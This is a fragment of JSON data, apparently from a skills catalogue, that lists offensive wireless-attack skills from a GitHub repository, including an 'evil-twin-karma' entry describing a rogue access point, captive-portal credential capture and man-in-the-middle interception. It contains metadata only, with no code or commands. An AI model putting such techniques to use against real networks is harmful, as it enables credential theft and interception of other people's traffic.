cadence.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":88,"name":89,"nameZh":6,"description":90,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":91,"categories":92,"keywords":93,"publishedAt":19},"01M7EJWB0CC58R8Z4HW6YRQCZW","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]